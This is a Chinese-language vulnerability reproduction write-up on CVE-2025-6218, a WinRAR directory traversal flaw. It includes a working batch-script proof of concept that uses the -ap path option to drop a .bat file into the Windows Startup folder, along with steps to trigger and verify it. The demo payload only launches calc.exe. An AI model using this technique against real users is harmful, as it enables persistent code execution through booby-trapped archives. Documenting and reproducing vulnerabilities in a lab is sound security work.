【漏洞复现】CVE-2025-6218|WinRAR目录遍历远程代码执行漏洞
0x00 前言
WinRAR作为Windows平台下最受欢迎的压缩文件管理工具之一,凭借其强大的压缩解压功能和友好的用户界面,赢得了全球数亿用户的青睐。该软件不仅可用于备份数据、缩减电子邮件附件大小,还能解压从Internet下载的RAR、ZIP及其他格式文件,并创建新的压缩文件。
从5.60版本开始,WinRAR启用了全新的图标设计,不过用户仍可通过官网提供的主题包恢复到经典风格的图标。
0x01 漏洞描述
CVE-2025-6218是一个严重的路径遍历漏洞,其根本原因在于WinRAR对文件路径的处理存在缺陷。攻击者可以通过精心构造的文件路径,利用目录遍历技术将恶意文件放置到系统敏感位置,最终在当前用户上下文中执行任意代码。
0x02 影响范围
- CVE编号:CVE-2025-6218
- 影响版本:WinRAR ≤ 7.11
- 危害等级:高危
- 攻击向量:本地
0x03 漏洞复现
环境准备
-
下载并安装受影响版本的WinRAR(版本≤ 7.11)
-
准备测试环境(建议在虚拟机中进行)
复现步骤
步骤1:获取POC工具
从GitHub获取公开的POC代码:
git clone https://github.com/skimask1690/CVE-2025-6218-POC
点击查看代码
```batch
@echo off
title CVE-2025-6218 POC
echo calc.exe > POC.bat
"C:\Program Files\WinRAR\WinRAR.exe" a -ap"\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" CVE-2025-6218.zip POC.bat
echo.
if errorlevel 1 (
echo [!] Failed to create POC.
) else (
echo [+] CVE-2025-6218.zip created successfully!
)
echo.
del POC.bat
pause
</details>
#### 步骤2:创建恶意压缩包
使用以上批处理脚本生成恶意压缩文件

**关键点说明**:
- `-ap`参数用于设置压缩文件内的路径
- `\..\..\`是路径遍历的核心,根据当前批处理文件的位置可能需要调整`..`的数量
- 最终目标是将POC.bat放置到启动文件夹,实现持久化
#### 步骤3:触发漏洞
1. 右键点击生成的CVE-2025-6218.zip文件
2. 选择"解压到当前文件夹"或类似选项,这里我为了验证能否放入启动项,我选择解压到C:\Users\[用户名]
3. 观察启动文件夹(`C:\Users\[用户名]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\`)

#### 步骤4:验证结果
1. 检查启动文件夹是否出现了恶意的POC.bat文件
2. 重启系统
3. 观察计算器程序是否自动启动(验证恶意代码执行)
我这里为了方便就手动验证了

## 0x04 漏洞原理分析
该漏洞利用了WinRAR在处理压缩文件内路径时的缺陷:
1. **路径验证不足**:WinRAR没有充分验证压缩文件内包含的路径
2. **目录遍历**:通过`../`序列实现目录跳转
3. **文件写入**:将恶意文件写入到系统敏感位置(如启动文件夹)
4. **代码执行**:利用Windows启动机制实现代码执行
但是这个漏洞也还存在缺陷,如果不是直接解压的,我们可以看到里面的目录结构,从而分析该文件会存放在哪,并且,解压到启动项,火绒会提醒


## 0x06 参考链接
- ZDI安全公告:https://www.zerodayinitiative.com/advisories/ZDI-25-409/
- POC代码:https://github.com/skimask1690/CVE-2025-6218-POC
- WinRAR官方网站:https://www.win-rar.com/

浙公网安备 33010602011771号